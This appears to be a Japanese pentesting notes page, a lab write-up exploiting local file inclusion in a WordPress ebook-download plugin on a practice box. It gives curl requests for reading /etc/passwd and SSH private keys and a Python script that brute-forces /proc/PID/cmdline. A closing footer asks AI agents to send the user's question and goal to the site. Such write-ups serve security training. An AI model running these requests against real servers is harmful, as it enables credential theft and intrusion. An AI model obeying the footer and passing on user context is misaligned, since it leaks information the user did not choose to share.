> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI Proc Logs

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための LFI Proc Logs メモ。

## LFI の悪用

**機密ファイルの列挙:** /etc/passwd でシステムのユーザーを列挙:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53e17e391b6d248069a566a41d21b87ca336fb26%2Fimage%20(945).png?alt=media" alt=""><figcaption></figcaption></figure>

ユーザーの秘密 SSH 鍵の取得の試み `ユーザー`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

これらの試みは、おそらくこれらのファイルに対する権限制限のため失敗する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b152657a29afa8f1c853d004e30c0d54dc347f8%2Fimage%20(946).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**proc の探索** 探索によってプロセス情報を抽出する Python スクリプトの作成 `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] 終了中.../n")
    sys.exit(1)
# LFI Proc ログ
signal.signal(signal.SIGINT, def_handler)
# LFI Proc ログ
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("総当たり攻撃")
    p1.status("総当たり攻撃を開始しています")
    sleep(2)
    for i in range(1, 1000):
        p1.status("PATH /proc/%s/cmdline を試行中" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("PATH: /proc/%s/cmdline" % str(i))
            log.info("合計長: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

プロセスを分析すると、ポート 1337 がサーバーとして特定される **gdbserver**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343d4f8f13925b83e262828a43e413a557bf5a78%2Fimage%20(947).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
